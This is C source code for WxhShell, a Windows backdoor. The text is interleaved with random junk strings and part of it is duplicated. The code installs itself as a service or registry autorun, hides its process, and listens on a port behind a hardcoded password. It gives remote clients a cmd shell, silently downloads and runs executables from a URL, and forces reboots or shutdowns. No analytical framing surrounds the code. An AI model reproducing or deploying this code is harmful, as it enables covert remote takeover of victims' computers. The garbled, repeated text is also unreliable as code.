M@/Dl g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KOP*\\1
J g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); EwuBL6kN NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); eT ZQ[qMp !vwx0 if (!NtQueryInformationProcess) return 0; d_!lRQ^N 5;yVA hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y:3\z?oV[ if(!hProcess) return 0; FZJyqqA$_ 38 HnW if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6JZ$;x{j 6~y7A<[^ CloseHandle(hProcess); w@Gk# :d`8:gv? hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KGq4tlM6 if(hProcess==NULL) return 0; P6([[mmG bR&<vrMmrA HMODULE hMod; FK!UUy; char procName[255]; )WR*8659e unsigned long cbNeeded; {WYmO1 c:f++|| if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =F>nqklc GTBT0$9g. CloseHandle(hProcess); x}*Y =Xh vo3[)BDbT if(strstr(procName,"services")) return 1; // 以服务启动 -7\6j#;l ;DN:AgXP return 0; // 注册表启动 OK1f Y`$z } n?z^"vv$i F?! // 主模块 `<x|<ey int StartWxhshell(LPSTR lpCmdLine) AQe~F { ja|XFs~ SOCKET wsl;
l6uUS BOOL val=TRUE; K-f\nr int port=0; q1O}dSPwX struct sockaddr_in door; VN[i;4o:| .jps6{ if(wscfg.ws_autoins) Install(); ukH?O)0O *iW$>Yjb port=atoi(lpCmdLine); M!E#T-) 76M`{m if(port<=0) port=wscfg.ws_port; i[M]d`<36 kFi^P~3D[ WSADATA data; J&jNONu? if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; my(yN| 9b}AZ]$ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; xB&6f") setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TR([u door.sin_family = AF_INET; JHCV7$RS door.sin_addr.s_addr = inet_addr("127.0.0.1"); lS:R## door.sin_port = htons(port); B>TI dQ qf
qp}g\ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y
=BXV7\ closesocket(wsl); afWEt - return 1; .1 =8c\% }
UW/{q`) 7Yjxx+X9 if(listen(wsl,2) == INVALID_SOCKET) { 05>xQx?"m4 closesocket(wsl); Y><")% Q return 1; 1>1ii } *;I F^u1 Wxhshell(wsl); >RMp`HxDf WSACleanup(); e2xqKG _U@;Z*(%vh return 0; > =Z@)PAe l.wf= / } 4{1.[##]o ;PrL)! // 以NT服务方式启动 ?fXlrJ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1q[vNP=g& { +^6v%z DWORD status = 0; :i24@V~){ DWORD specificError = 0xfffffff; Mi5"XQ>/ U2(|/M+ serviceStatus.dwServiceType = SERVICE_WIN32; ZdJer6:Z} serviceStatus.dwCurrentState = SERVICE_START_PENDING; ?-e'gC serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b@&ydgmaQ serviceStatus.dwWin32ExitCode = 0; 43?J~}<Vs serviceStatus.dwServiceSpecificExitCode = 0; +J~q:b. serviceStatus.dwCheckPoint = 0; }813.U serviceStatus.dwWaitHint = 0; 8/|~E oQvG3(. hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);
xedbr if (hServiceStatusHandle==0) return; sN
`NZyG bof{R{3q status = GetLastError(); cP~?Iz8nD if (status!=NO_ERROR) s: .5S { 1K ;i/ serviceStatus.dwCurrentState = SERVICE_STOPPED; $*Q_3]AY] serviceStatus.dwCheckPoint = 0; $K,6!FyBa serviceStatus.dwWaitHint = 0; |5}~n"R5 serviceStatus.dwWin32ExitCode = status; q&- A}] serviceStatus.dwServiceSpecificExitCode = specificError; V %cU@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bi+a)_K return; rl,6ru } :_qgpE< >Tm|}\qEb serviceStatus.dwCurrentState = SERVICE_RUNNING; AwKxt'()^ serviceStatus.dwCheckPoint = 0; t*? CD.S serviceStatus.dwWaitHint = 0; 82X}@5o2 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q.Kr;64G } srN>pO8u~ #6tb{ws3 // 处理NT服务事件,比如:启动、停止 ly d[GfJ VOID WINAPI NTServiceHandler(DWORD fdwControl) "DFj4XKXY9 { tN5brf switch(fdwControl) Rp 2~d { FJN,er~T[ case SERVICE_CONTROL_STOP: jnK8
[och serviceStatus.dwWin32ExitCode = 0; kd9GHN;7 serviceStatus.dwCurrentState = SERVICE_STOPPED; Ge|& H]W serviceStatus.dwCheckPoint = 0; 1{-W?n serviceStatus.dwWaitHint = 0; _cZ`7]Z { s'V8PN+- SetServiceStatus(hServiceStatusHandle, &serviceStatus); up~l4]b+ } X`ifjZ9}d return; t:X[Blw3$ case SERVICE_CONTROL_PAUSE: GLe(?\Ug= serviceStatus.dwCurrentState = SERVICE_PAUSED; )y7SkH| break; AUnRr +o case SERVICE_CONTROL_CONTINUE: [G/q*a:K serviceStatus.dwCurrentState = SERVICE_RUNNING; H].
4~ 8 break; eXa a'bTx case SERVICE_CONTROL_INTERROGATE: GRC=G&G break; \kiCczW_ }; -o+_PL
$\ SetServiceStatus(hServiceStatusHandle, &serviceStatus); fuQ|[tpvQG } g#V3u=I8~ d0b--v/ // 标准应用程序主函数 2O|o%`? int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FxKb { DlR&Lnv gz[Ng> D+ // 获取操作系统版本 V 'Gi2gNaP OsIsNt=GetOsVer(); E (M\U5o: GetModuleFileName(NULL,ExeFile,MAX_PATH); [H#I:d-+\ xa#:oKF3 // 从命令行安装 ?S8cl7;+ if(strpbrk(lpCmdLine,"iI")) Install(); Y962rZ DU7kZ // 下载执行文件 o_gpBaWD if(wscfg.ws_downexe) { &50Kn[ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )S$!36Ni[ WinExec(wscfg.ws_filenam,SW_HIDE); E0c5c } VwoCRq* (~TP if(!OsIsNt) { `5`Pv'` // 如果时win9x,隐藏进程并且设置为注册表启动 [&rW+/ HideProc(); ,z)7rU` StartWxhshell(lpCmdLine); @T1/S&F= } i\B>J?Q\ else 0+O)~>v if(StartFromService()) J-fU,*Bk // 以服务方式启动 YE5v~2 StartServiceCtrlDispatcher(DispatchTable); sHe:h XG' else '?Q [.{< // 普通方式启动 &_&])V)<\S StartWxhshell(lpCmdLine); `X]-blHo F'Fc)9qFa< return 0; WjGv%^? } fPHv|_XM> sm}v0V.Js M6!kn~ ~aH*ZA*f ===========================================
'TV^0D" qkv.,z" pi5Al)0 SGH"m/ e IgC)YIhd 4(&00#Yxg2 " =[`wyQe`_ U;KHF{Vm #include <stdio.h> (@M=W.M# #include <string.h> H(]lqvO #include <windows.h> bE^Z;q19 #include <winsock2.h> L5cNCWpo #include <winsvc.h> &I?1(t~hT #include <urlmon.h> ?4q6>ipx 'E0{zk #pragma comment (lib, "Ws2_32.lib") f+s'.z% #pragma comment (lib, "urlmon.lib") Bl' S'Q$N-Dy #define MAX_USER 100 // 最大客户端连接数 Y_%\kM?7 #define BUF_SOCK 200 // sock buffer AY0o0\6cw #define KEY_BUFF 255 // 输入 buffer "[H9)aAj7 )TM ![^d #define REBOOT 0 // 重启 +:It1`A~] #define SHUTDOWN 1 // 关机 AUoi$DF(@ M.d{:&@`% #define DEF_PORT 5000 // 监听端口 622mNY ms
;RJT2O' #define REG_LEN 16 // 注册表键长度 3Du&KZ #define SVC_LEN 80 // NT服务名长度 u!nt0hS "SyyOD
)WA // 从dll定义API nH% / typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y~1UU3k5 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ft`#]=IS typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pWps-e typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e7/J:n$ GG;M/}E9 // wxhshell配置信息 b]Rn Cu" struct WSCFG { 9A3Q&@, int ws_port; // 监听端口 &)fPz-s char ws_passstr[REG_LEN]; // 口令 X~G"TT$) int ws_autoins; // 安装标记, 1=yes 0=no ?Dm! ;Z+7 char ws_regname[REG_LEN]; // 注册表键名 H:9(
XW char ws_svcname[REG_LEN]; // 服务名 DfV_08 char ws_svcdisp[SVC_LEN]; // 服务显示名 wGISb\rr char ws_svcdesc[SVC_LEN]; // 服务描述信息 ffm19 B= char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3=dGz^Zdv: int ws_downexe; // 下载执行标记, 1=yes 0=no gNs@Q! char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1
EC0wX char ws_filenam[SVC_LEN]; // 下载后保存的文件名 FL/y{; %
C6 H( }; FPFt3XL 9z_Gf]J~ // default Wxhshell configuration .,m$Cm struct WSCFG wscfg={DEF_PORT, IO>Cy o "xuhuanlingzhe", A1%V<im@Z 1, kf-ZE$S4 "Wxhshell", N4fuV?E` "Wxhshell", ENJ] "WxhShell Service", wqE ]o=
k "Wrsky Windows CmdShell Service", P).
@o.xl "Please Input Your Password: ", c!Pi) 1, p$ [*GXR4 "http://www.wrsky.com/wxhshell.exe",
6/@ cP/ "Wxhshell.exe" +-ieaF }; [(ty{ *i%!j/QDAP // 消息定义模块 348Bu7': char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &R*d/~SU char *msg_ws_prompt="\n\r? for help\n\r#>"; NZeI qhj char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }(M<sEK~ char *msg_ws_ext="\n\rExit."; f^%vIB ~[ char *msg_ws_end="\n\rQuit."; %7
J char *msg_ws_boot="\n\rReboot..."; '`[nt25N char *msg_ws_poff="\n\rShutdown..."; Fl*@@jQ8cV char *msg_ws_down="\n\rSave to "; !k<+-Lf:2 mL6/NSSz char *msg_ws_err="\n\rErr!"; &.(ZO] char *msg_ws_ok="\n\rOK!"; 7Zu!s]t /B1<N} char ExeFile[MAX_PATH]; x:l`e:`y9 int nUser = 0; A%+~ HANDLE handles[MAX_USER]; >t*zY~R. int OsIsNt; 7qW:^2y Ubn5tN
MK SERVICE_STATUS serviceStatus; i7fpl SERVICE_STATUS_HANDLE hServiceStatusHandle; b> 2u>4 V!}, a@>p // 函数声明 Mh_jlgE'd# int Install(void); g4Hq<W" int Uninstall(void); =$BgIt int DownloadFile(char *sURL, SOCKET wsh); &nz1[, int Boot(int flag); f+I*aBQ void HideProc(void); X:62)^~' int GetOsVer(void); Ujj2A^ int Wxhshell(SOCKET wsl); tanuP@O void TalkWithClient(void *cs); )2^OBfl7 int CmdShell(SOCKET sock); 9sE>K) int StartFromService(void); 7*`ldao~ int StartWxhshell(LPSTR lpCmdLine); O=mGL UBC[5E$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dc?Yk3(Y VOID WINAPI NTServiceHandler( DWORD fdwControl ); o~iL aN\+ })!n1kt // 数据结构和表定义 ARU,Wtj# SERVICE_TABLE_ENTRY DispatchTable[] = e2B~j3-?z { C|!E'8Rw {wscfg.ws_svcname, NTServiceMain}, >Q+EqT {NULL, NULL}
|qbJ]v! }; k+i}U9c" (V=lK6WQm // 自我安装 O
_1}LS! int Install(void) /pb7 { !%@n067 char svExeFile[MAX_PATH]; 5utj$ha2 HKEY key; ^`dp!1.+ strcpy(svExeFile,ExeFile); '!f5|l9SC 1.>sG2*P // 如果是win9x系统,修改注册表设为自启动 &kO4^ A if(!OsIsNt) { Xq)'p8C? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >nr1|2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {g
)kT_ RegCloseKey(key); Vq<|DM3z< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0q`'65 lx RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2RE }l=h5 RegCloseKey(key); BAKfs/N return 0; qx!IlO } &12aI|u^< } l0@$]76cX; } /5J!
s=" else { R
jAeN#,? dR=SW0Oa{ // 如果是NT以上系统,安装为系统服务 ,bH SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |
c8u if (schSCManager!=0) *i$+i { Wq>j;\3b3 SC_HANDLE schService = CreateService mU\$piei ( 3IJIeG> schSCManager, uP*>-s'm wscfg.ws_svcname, "?S#vUS+ 2 wscfg.ws_svcdisp, f O(.I SERVICE_ALL_ACCESS, pxY5S}@ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =_,OucKkYG SERVICE_AUTO_START, :YV!;dKJ SERVICE_ERROR_NORMAL, G3OQbqn svExeFile, < )?&Jf>_ NULL, J J3vC NULL, i&bttSRNV NULL, Nm^q.)dO NULL, {_
1q`5o NULL W&p-Z"=) ); hnY^Z_v! if (schService!=0) (8EZ,V: { q&W#nWBV CloseServiceHandle(schService); ]kKsGch CloseServiceHandle(schSCManager); mV4} - strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W%$p,^@S5 strcat(svExeFile,wscfg.ws_svcname); 'Klz`)F if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { d5],O48A RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .g|pgFM? RegCloseKey(key); om/gk4S2 return 0; $8eq&_gJ } 2]C0d8=*? } W&yw5rt** CloseServiceHandle(schSCManager); b<7.^ } .[_&>@bmrP } 5GRN1Aov< nC*/?y*9 return 1; Ugs<WVp$ } @'U4-x TZ*ib~ // 自我卸载
P.fgt>v] int Uninstall(void) f~U|flL^ { '%~zu]f' HKEY key; 2KzKNe( 1R:h$*-z if(!OsIsNt) { +22[ h@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nrxN_0 R% RegDeleteValue(key,wscfg.ws_regname); CRx:3u!: RegCloseKey(key); M,{F/Yu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5_i&}c23Vn RegDeleteValue(key,wscfg.ws_regname); 9c?izp A RegCloseKey(key); lA ,%'+- return 0; 4t+88e } U$J]^-AS } |zUDu\MZ{ } xFvSQ`sp else { |Y99s)2&N v
EX <9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VEpQT
Qp if (schSCManager!=0) 6D+k[oHZm { AKWw36lm SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hQ\]vp7V if (schService!=0) /2U.,vw { !eO?75/ if(DeleteService(schService)!=0) { );*GOLka CloseServiceHandle(schService); D0-e,)G}V, CloseServiceHandle(schSCManager); IQ~()/;3d return 0; .9E`x>C } t+#Ss v8 CloseServiceHandle(schService); Iq52rI} } jQdfFR CloseServiceHandle(schSCManager); gGX/p6" }
KA< } m|y]j4 *X>rvAd3 return 1; [v&_MQ } *%8us~w5/ $C>EnNx // 从指定url下载文件 9Z* vp^3 int DownloadFile(char *sURL, SOCKET wsh) !XicX9n { !hc7i=V? HRESULT hr; - Z|1@s& char seps[]= "/"; f Xq e7[ char *token; 61KJ(
rSX3 char *file; :G`_IB\ char myURL[MAX_PATH]; rm
cy-}e char myFILE[MAX_PATH]; 1,mf]7k$ o60wB-y strcpy(myURL,sURL); [|>.iH X token=strtok(myURL,seps); C6Mb(& while(token!=NULL) mPu5%% { z/ i3 file=token; ,=ICSS~9l token=strtok(NULL,seps); Vz#cb5:g } R'3i { 1 Twk zX| GetCurrentDirectory(MAX_PATH,myFILE); 5_O.p3$tV strcat(myFILE, "\\"); }I;W strcat(myFILE, file); ewLr+8 send(wsh,myFILE,strlen(myFILE),0); V?gQ`( , send(wsh,"...",3,0); [ wROIvV hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $M8'm1R9 if(hr==S_OK) B}jZ~/D} return 0; O{4m-; else QO,y/@Ph return 1; [sad}@R7 IS!+J.2 } `?$R_uFh: J?]W!V7C // 系统电源模块 1zM`g_(# int Boot(int flag) Zf"AqGP { (PNvv/A HANDLE hToken; h%O`,iD2 TOKEN_PRIVILEGES tkp; olJ9Kfc0 EbW7Av if(OsIsNt) { j`
x9z_ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <)}*S LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e^FS/= tkp.PrivilegeCount = 1; x}roPhZ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E*ic9Za8`h AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9-@w(kMu if(flag==REBOOT) { _S[H:b$? if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (u*]&yk return 0; rd"]$_P8O } I?PKc'b else { GM%|mFqeu if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]juXm1)>W1 return 0; aB Yhk|Ei } + ]__zm/^ } %d>Ktf else { "au"\} if(flag==REBOOT) { Qh *|mW if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OUs2)H61 return 0; !At _^hSqz } o#T,vu0s else { =thgNMDm" if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tQ)8HVKF return 0; e"bF"L } -1{N#c/U } 5|Y4GQVz b+C>p2 % return 1; dv,8iOL } k&**f_b |%tR#!&[:g // win9x进程隐藏模块 $0 li"+ void HideProc(void) _#L
IG2d { 4@bL` L) p5bH-km6 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YF;8il{p if ( hKernel != NULL ) Ri,UHI4 W { }ri"u;.R pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \Lc
pl-;? ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7Ua
Ll
FreeLibrary(hKernel); & .#0jb1r } a@ lK+t 2`lit@u&u return; hA"N&v~ } ]y(#]Tw\ :+;F" _ // 获取操作系统版本 W<x2~HW( int GetOsVer(void) rdC(+2+Ay { R=IeAuZR4k OSVERSIONINFO winfo; w@"|S_E winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'rg$%M*( GetVersionEx(&winfo); 9<Bf5d
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S`R
( _eD@ return 1; x3vz4m[ else y /PEm)=Tt return 0; n3)g{K^ } ~U^0z|. #v v
k7 // 客户端句柄模块 -_2=NA?t int Wxhshell(SOCKET wsl) gy>2=d { BBp
Hp SOCKET wsh; dJ|]W|q< struct sockaddr_in client; PGybX:L DWORD myID; YsTfv1~z# zX5p'8- while(nUser<MAX_USER) d8x$NW-s { sQ`8L+oY int nSize=sizeof(client); / '7WL[< wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ek4aC3 if(wsh==INVALID_SOCKET) return 1; ?d_Cy\G H8\N~> handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hwO]{)% if(handles[nUser]==0) zcA"\ closesocket(wsh); B4{A(-Tc else ]=pEs6%O3 nUser++; U%KoG-# } 8gx^e./ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E`'+1 ucMl>G'!gX return 0; uxR_(~8 } e0hT qV(Plt% // 关闭 socket 3rWqt void CloseIt(SOCKET wsh) -m__I U { lID5mg31 closesocket(wsh); [szwPNQ_ nUser--; FUHjY ExitThread(0); zZDr=6|r_ } ."H5.' hZ%Ie%~n // 客户端请求句柄 ;/YSQt)rc> void TalkWithClient(void *cs) Cd(Ov5% { Ya>cGaLq 2 1;n0E SOCKET wsh=(SOCKET)cs; $D45X< char pwd[SVC_LEN]; ; id char cmd[KEY_BUFF]; `yxk
Sb char chr[1]; &QE* V int i,j; VR_1cwKBM *EDzj& while (nUser < MAX_USER) { @c&)K^v8 %i^%D if(wscfg.ws_passstr) { htkyywv if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7u!p.kN //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t%=ylEPW //ZeroMemory(pwd,KEY_BUFF); *rqih_j0 i=0; "PlM{ZI\ while(i<SVC_LEN) { 2
{31" QGsUG_/_P // 设置超时 5 :AAqMa fd_set FdRead; aoCyYnZD struct timeval TimeOut; t=U[ ;? FD_ZERO(&FdRead); AU
>d1S. FD_SET(wsh,&FdRead); gsAcn TimeOut.tv_sec=8; , X|oCD TimeOut.tv_usec=0; 3"<{YEj8U int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O[8Lp? if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); LtNG<n)_BH zZA I"\;W if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m2 OP=z@) pwd=chr[0]; !Dun<\ if(chr[0]==0xd || chr[0]==0xa) { <;acWT?( pwd=0; PAqziq. break; mDo]5 i< } ?B[Z9Ef"8l i++; w%L0mH2]ng } m>a6,#I 5#iv[c // 如果是非法用户,关闭 socket 2sf/^XC1 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )}/9* } $<T)_g mjH8q&szf send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);
kH{axMNc send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s=28. }-Zfljj while(1) { ;}:"[B3$ EI+.Q ZeroMemory(cmd,KEY_BUFF); (?~F}u
v cU*7E39 // 自动支持客户端 telnet标准 ogPxj KSI j=0; }z[O_S,X while(j<KEY_BUFF) { %Uuhi&PA-l if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =:#$_qR cmd[j]=chr[0]; VCh%v -/ if(chr[0]==0xa || chr[0]==0xd) { Amz7j8zJ cmd[j]=0; =`{!" 6a break; ~r=u1]z } Kw'A%7^e j++; RMsr7M4<91 } TCB<fS~U- bu\,2t}B // 下载文件 l%;)0gT if(strstr(cmd,"http://")) { ydBoZ3 } send(wsh,msg_ws_down,strlen(msg_ws_down),0); &?x^I{j if(DownloadFile(cmd,wsh)) l&E- H@Pe send(wsh,msg_ws_err,strlen(msg_ws_err),0); b$VdTpz else Q:tW LVE#0 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =<FFFoF*C_ } "< [D1E\ else { II),m8G =#uXO< switch(cmd[0]) { "j~=YW+l 3~M8.{
U#V // 帮助 $yOfqr case '?': { CM7j^t send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hcM 0?= break; oz@yF)/Sm } h/PWi<R
i // 安装 #XNe4# case 'i': { I'J=I{p* if(Install()) 9;q@;)'5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); u\>Ed9^ else wGw}a[a send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 011 _(v break; O4(
Z%YBe } t t#M4n@ // 卸载 g_.BJ>Uv case 'r': { Cm>8r5LG if(Uninstall()) U<o,`y[Tn send(wsh,msg_ws_err,strlen(msg_ws_err),0); 00<iv"8 else ,]Hn*\@p[c send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l6)*u[}E break; i1u &-#k } TB1 1crE // 显示 wxhshell 所在路径 {s4:V=J case 'p': { [|uAfp5R char svExeFile[MAX_PATH]; u:fiil$ strcpy(svExeFile,"\n\r"); 6`F_js.a strcat(svExeFile,ExeFile); +-HaYB|p send(wsh,svExeFile,strlen(svExeFile),0); MNkysB( break; 2 }+V3/ } %z1WdiC // 重启 IOt!A case 'b': { RM QlciG send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [ bE9Y; if(Boot(REBOOT)) >|H=25N>; send(wsh,msg_ws_err,strlen(msg_ws_err),0); dH?;!sJ else { F5&4x"c closesocket(wsh); Ma wio5 ExitThread(0); R '"J{oR } |jc87(x< break; Vk8:;Hj } 9%iqequ // 关机 L,Uqt, case 'd': { v;{s@CM m send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oZP:}= F if(Boot(SHUTDOWN)) HL*jRl send(wsh,msg_ws_err,strlen(msg_ws_err),0); CEZ*a 0}= else { JF!!)6!2# closesocket(wsh); 8tLkJOu ExitThread(0); !!dNp5h` } }_XKO\ break; Ij/c@#q. } P}JA"V& // 获取shell \)`\F$CF case 's': { L}x"U9'C CmdShell(wsh); yD5T'np<4 closesocket(wsh); k45xtKS>d ExitThread(0); A10/"Ec<u break; j{S\X'?
} Vh4z+JOC // 退出 ,8EeSnI case 'x': { )7[>/2aGd send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1rT}mm/e; CloseIt(wsh); '2v,!G]^
break; n%@xnB$ZX } )T
3y ,* // 离开 d v" case 'q': { x)nBy)< send(wsh,msg_ws_end,strlen(msg_ws_end),0); lOcvRF closesocket(wsh); /dBQ*f5 WSACleanup(); V#C[I~l exit(1); i%v^Zg&FU break; R&=Y7MfZ } 44($a9oa2 } !j(v-pQf" } !9OAMHa*9 My
Af~&Y+ // 提示信息 e,|"9OK if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^cBA8 1 } xw]Zo<F } w,9$*=k
X62z>mM return; [m!$01= } qEX59v }=;N3Q" #y // shell模块句柄 hH`yQGZ int CmdShell(SOCKET sock) x>p=1(L { jHTaG%oh STARTUPINFO si; Y#3m|b45n ZeroMemory(&si,sizeof(si)); I?Eh
0fI si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6HFA2~A si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; XOVZ'V PROCESS_INFORMATION ProcessInfo; J(g!>Sp!p char cmdline[]="cmd"; axonqSf CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B5P++aQ return 0; OJQ7nChMm } noGMfZ1 NM // 自身启动模式 |&h!#Q{7l int StartFromService(void) dV.)+X7< { [}}oHm3& typedef struct :KMo'pL { #](ML:! DWORD ExitStatus; U7bG(?k) DWORD PebBaseAddress; el5F>) DWORD AffinityMask; BqKD+ DWORD BasePriority; bP(V#6IJ8 ULONG UniqueProcessId; "n:L<F,g ULONG InheritedFromUniqueProcessId; ]oXd|[G } PROCESS_BASIC_INFORMATION; Y-7x**I Dbz\8gmY PROCNTQSIP NtQueryInformationProcess; o!wz:|\S %`-NWAXL static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nS]/=xP{ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; BDD^*Y ,N5Rdgzk HANDLE hProcess; &h8+- PROCESS_BASIC_INFORMATION pbi; -L</,>p cD-\fRBGK HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Vy&F{T;$ if(NULL == hInst ) return 0; eW0:&*.vMj 2m/1:5 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &=K-~!? g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z:)\j. NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7Ja^d-F7 DTAEfs!ZW if (!NtQueryInformationProcess) return 0; SDcD(G 3sHC1+ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *M6M'>Tin if(!hProcess) return 0; KvkiwO( E':y3T@." if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g6;O)b nu4GK}xI CloseHandle(hProcess); H /*^$>0Uo ?gH[tN:= hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mzfj!0zR* if(hProcess==NULL) return 0; Q3_ia5 `O {- 7T\mj HMODULE hMod; ([`-*Hy char procName[255]; W5EB+b49KM unsigned long cbNeeded; ,`S"nq w'?uJW if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (y=P-nm +twJHf_U CloseHandle(hProcess); 